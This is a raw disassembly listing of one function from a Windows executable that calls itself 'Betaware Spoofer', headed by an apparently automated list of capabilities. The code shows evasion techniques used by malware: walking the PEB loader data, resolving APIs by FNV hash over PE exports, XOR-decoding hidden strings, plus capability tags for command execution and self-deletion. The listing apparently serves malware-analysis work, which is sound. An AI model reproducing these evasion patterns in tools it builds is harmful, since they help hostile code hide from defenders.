Function at 0x140003530
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Hash data using fnv
Hide graphical window
Resolve function by parsing pe exports
Self delete
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x808]
sub rsp, 0x8e0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x140097080]
xor rax, rsp
mov qword [rbp + 0x7a8], rax
xor r12d, r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x44], r12d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rbp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x58], rax
lea rcx, str.ether_woof
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
lea rax, [rbp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [0x1400822a0]
lea rcx, [rbp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp + 0x80]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000ca60
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x780], rax
lea rax, [rbp - 0x78]
mov qword [rbp + 0x788], rax
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x190]
call fcn.14000c850
mov dword [rsp + 0x44], reloc.WLDAP32.dll_Ordinal_32
lea r9, [fcn.140002200]
lea edx, [r12 + 0x28]
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x60]
call fcn.14006e9f4
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x190]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n_______________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rbp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp + 0x80]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000ca60
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x780], rax
lea rax, [rbp - 0x78]
mov qword [rbp + 0x788], rax
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x48]
call fcn.14000c850
mov dword [rsp + 0x44], 0x40
lea r9, [fcn.140002200]
lea edx, [r12 + 0x28]
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x60]
call fcn.14006e9f4
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x48]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rbp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp + 0x80]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000ca60
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x780], rax
lea rax, [rbp - 0x78]
mov qword [rbp + 0x788], rax
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x48]
call fcn.14000c850
mov dword [rsp + 0x44], 0x80
lea r9, [fcn.140002200]
lea edx, [r12 + 0x28]
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x60]
call fcn.14006e9f4
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x48]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rbp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp + 0x80]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000ca60
nop
lea rax, [rsp + 0x60]
mov qword [rbp + 0x780], rax
lea rax, [rbp - 0x78]
mov qword [rbp + 0x788], rax
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x48]
call fcn.14000c850
mov dword [rsp + 0x44], 0x100
lea r9, [fcn.140002200]
lea edx, [r12 + 0x28]
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x60]
call fcn.14006e9f4
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x48]
call fcn.14000b560
movups xmm0, xmmword [0x140083c68]
movups xmmword [rbp + 0x60], xmm0
movsd xmm0, qword [0x140083c78]
movsd qword [rbp + 0x70], xmm0
movzx eax, word [0x140083c80]
mov word [rbp + 0x78], ax
lea eax, [r12 + 0x1f]
lea r15d, [r12 + 4]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140083c81], r12b
je 0x140003a40
mov r8d, r12d
cmp r13d, 2
jl 0x1400039f7
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x64]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400038f0
cmp r8d, 0x1a
jge 0x140003a40
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140003a10
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x80]
call fcn.1400030b0
nop
mov rbx, r12
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0x80]
mov r14, qword [rbp + 0x90]
test r14, r14
je 0x140003aa2
nop
lea rax, [rbp + 0x80]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140003a70
cmp rsi, 0x10
jb 0x140003ad9
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003ad1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000498d
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003b66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003b66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xc8186440
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003b61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003b40
cmp r8d, 0x1dc34fd3
je 0x140003b6b
test r9d, r9d
jne 0x140003b20
mov rax, qword [rax]
jmp 0x140003af0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082568]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x6d0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x6d8], rax
lea rdx, [rbp + 0x6d0]
lea rcx, [rbp + 0x6e0]
call fcn.14000c850
mov dword [rsp + 0x44], 0x200
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x6e0]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x6e0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x6f0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x6f8], rax
lea rdx, [rbp + 0x6f0]
lea rcx, [rbp + 0x700]
call fcn.14000c850
mov dword [rsp + 0x44], 0x400
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x700]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x700]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x1a0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1a8], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x170]
call fcn.14000c850
mov dword [rsp + 0x44], 0x800
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x170]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x170]
call fcn.14000b560
movups xmm0, xmmword [str.zUURX_K___c0f_f_0_v_8__oqYT]
movups xmmword [rbp + 0x170], xmm0
movsd xmm0, qword [0x140083ba0]
movsd qword [rbp + 0x180], xmm0
mov eax, dword [0x140083ba8]
mov dword [rbp + 0x188], eax
cmp byte [0x140083bab], 0
je 0x140003f70
mov r8d, r12d
cmp r13d, 2
jl 0x140003f27
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x174]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140003e20
cmp r8d, 0x1c
jge 0x140003f70
movsxd rax, r8d
lea r9, [rbp + 0x170]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140003f40
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1a0]
call fcn.1400030b0
nop
mov rbx, r12
mov rsi, qword [rbp + 0x1b8]
mov rdi, qword [rbp + 0x1a0]
mov r14, qword [rbp + 0x1b0]
test r14, r14
je 0x140003fd3
lea rax, [rbp + 0x1a0]
cmp rsi, 0x10
cmovae rax, rdi
movzx edx, byte [rax + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bd50
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r14
jne 0x140003fa1
cmp rsi, 0x10
jb 0x14000400a
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140004002
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000498d
mov rcx, rdi
call fcn.14006ed14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa7114bf
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004091
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004070
cmp r8d, 0x188af062
je 0x14000409b
test r9d, r9d
jne 0x140004050
mov rax, qword [rax]
jmp 0x140004020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x4b0
call rdx
mov eax, dword [0x140083acc]
mov dword [rsp + 0x48], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004156
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004156
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd73580f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004151
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004130
cmp r8d, 0x72c3786e
je 0x14000415b
test r9d, r9d
jne 0x140004110
mov rax, qword [rax]
jmp 0x1400040e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r13d, 2
jl 0x14000420b
movdqa xmm3, xmmword [0x14008c670]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008c6c0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008c6c0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r15d
psrad xmm2, xmm0
mov esi, Ordinal_32
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14008c690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14008c6a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.9999999999999999O]
movd xmm0, dword [rsp + 0x48]
pxor xmm2, xmm0
movd dword [rsp + 0x48], xmm2
jmp 0x140004255
lea r9, [rsp + 0x48]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004220
mov esi, Ordinal_32
lea rcx, [rsp + 0x48]
call r11
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._______________________________________________
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x710], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x718], rax
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x20]
call fcn.14000c850
mov dword [rsp + 0x44], 0x1000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x20]
call fcn.14000b560
lea rdx, str._______________________________________________________________________________________________________________________________n______________.________________________n____________________________________n______________________________n______________Y_______________n_______________________________n______________________________________________________________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rcx, rax
mov dl, 0xa
call fcn.14000bd50
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n_n_n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x720], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x728], rax
lea rdx, [rbp + 0x720]
lea rcx, [rbp + 0x1c0]
call fcn.14000c850
mov dword [rsp + 0x44], 0x2000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x1c0]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x1c0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x1d0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1d8], rax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1e0]
call fcn.14000c850
mov dword [rsp + 0x44], 0x4000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x1e0]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x1e0]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x200]
call fcn.14000c850
mov dword [rsp + 0x44], 0x8000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x200]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x200]
call fcn.14000b560
lea rdx, str.Welcome_To_Betaware_Spoofer
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, str._n___
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x210], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x218], rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x220]
call fcn.14000c850
mov dword [rsp + 0x44], 0x10000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x220]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x220]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x140082248]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082560]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x230], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x238], rax
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x240]
call fcn.14000c850
mov dword [rsp + 0x44], 0x20000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0x240]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x240]
call fcn.14000b560
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rdx, [0x1400822a0]
lea rcx, [rsp + 0x60]
call fcn.1400030b0
mov rbx, rax
lea rdx, [0x140082564]
lea rcx, [rbp - 0x20]
call fcn.1400030b0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.14000ca60
nop
lea rax, [rbp - 0x70]
mov qword [rbp + 0x250], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x258], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xa0]
call fcn.14000c850
mov dword [rsp + 0x44], 0x40000
lea r9, [fcn.140002200]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x70]
call fcn.14006e9f4
lea rdx, [rbp + 0xa0]
mov rcx, rdi
call fcn.14000c0e0
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0xa0]
call fcn.14000b560
movups xmm0, xmmword [str.zUURX_K__b7e_r_1_b___lDO]
movups xmmword [rbp + 0x20], xmm0
mov eax, dword [0x140083da0]
mov dword [rbp + 0x30], eax
movzx eax, word [0x140083da4]
mov word [rbp + 0x34], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rbp + 0x36], al
mov r8d, r12d
cmp r13d, 2
jl 0x1400048b7
movdqa xmm5, xmmword [0x14008c670]
movdqa xmm4, xmmword [0x14008c6c0]
movd xmm6, r15d
movdqa xmm7, xmmword [0x14008c690]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999O]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rsp + 0x50]
